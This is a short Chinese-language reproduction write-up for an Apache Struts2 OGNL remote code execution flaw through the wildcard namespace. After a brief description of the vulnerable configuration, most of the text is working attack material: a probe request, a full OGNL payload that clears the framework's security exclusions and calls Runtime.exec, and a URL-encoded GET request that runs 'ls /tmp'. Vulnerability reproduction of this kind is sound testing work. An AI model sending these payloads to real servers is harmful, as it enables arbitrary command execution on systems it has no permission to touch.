描述
1.定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace可能会导致远程代码执行漏洞的发生。
2.url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行。
alwaysSelectFul1Namespace = true
时action元素没有设置namespace属性,这时如果使用了通配符命名空间则namespace将由用户从uri传递,并解析为OGNL表达式,最终导致远程代码执行漏洞。
复现
测试命名空间可执行性,发现运算被执行
payload要进行URL编码,未编码的话可能会导致服务出错
GET /showcase/%24%7b%28%35%35%2b%34%34%29%7d/actionChain1.action HTTP/1.1
未编码的payload
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('填写命令')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))
}
GET /showcase/$%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('ls%0a/tmp')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1